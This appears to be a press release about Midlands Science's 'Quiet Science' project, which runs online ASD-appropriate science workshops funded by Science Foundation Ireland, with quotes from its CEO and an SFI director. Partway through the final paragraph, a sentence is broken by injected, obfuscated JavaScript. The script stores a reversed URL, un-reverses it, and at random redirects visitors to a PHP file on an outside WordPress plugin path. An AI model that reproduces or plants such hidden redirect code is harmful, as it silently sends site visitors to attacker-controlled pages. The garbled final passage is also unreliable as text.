Creating a Quiet space for Science
Quiet Science is a project that is currently being delivered by local development company, Midlands Science which has worked over the past year to provide various workshops with ASD appropriate science outreach in response to requests and research. This project is funded by Science Foundation Ireland’s Discover Awards programme and it began with two pilot schools in Co. Offaly. It is now being rolled online across the midlands through appropriate partnerships.
Dr Ruth Freeman, Direc tor of Science for Society, Science Foundation Ireland commented:
“Adapting to the ongoing challenges of the pandemic, Midlands Science has moved online for its delivery of ‘Quiet Science’ events for children on the ASD spectrum, both through remote delivery to pilot schools and now through online events for wider audiences. Science Foundation Ireland is delighted to continue to support this important work, which exemplifies best practice in inclusive outreach, and to collaborate with the team at Midlands Science to ensure all students have the opportunity to engage with science.”
CEO of Midlands Science, Jackie Gorman commented,
‘Quiet Science, which focuses on science activities for children on the ASD spectrum is a project we embarked on last year. It allows pupils to participate in hands-on, engaging science lessons with resources and instruction provided. We are delighted that despite the current pandemic and school closures, we are still able to offer these activities online with our ever professional providers, ‘Anyone 4 Science’ and we have had an amazing response from parents and children alike.’
Before this programme was delivered, a suite of outreach activities was co-created with students and STEM providers in consultation with appropriate ASD education experts. The project will also produce a manual of best practice which will be circulated following evaluation of the project.
Jackie Gorman continued,
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The ‘Quiet Science’ workshops are taking place online every Saturday until March 13th with further activities planned from April to June. These workshops are also delivered in partnership with Anyone 4 Science based on work $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}done in 2020 with partner schools in our Quiet Science project and this is funded by Science Foundation Ireland through the Discover Awards progamme.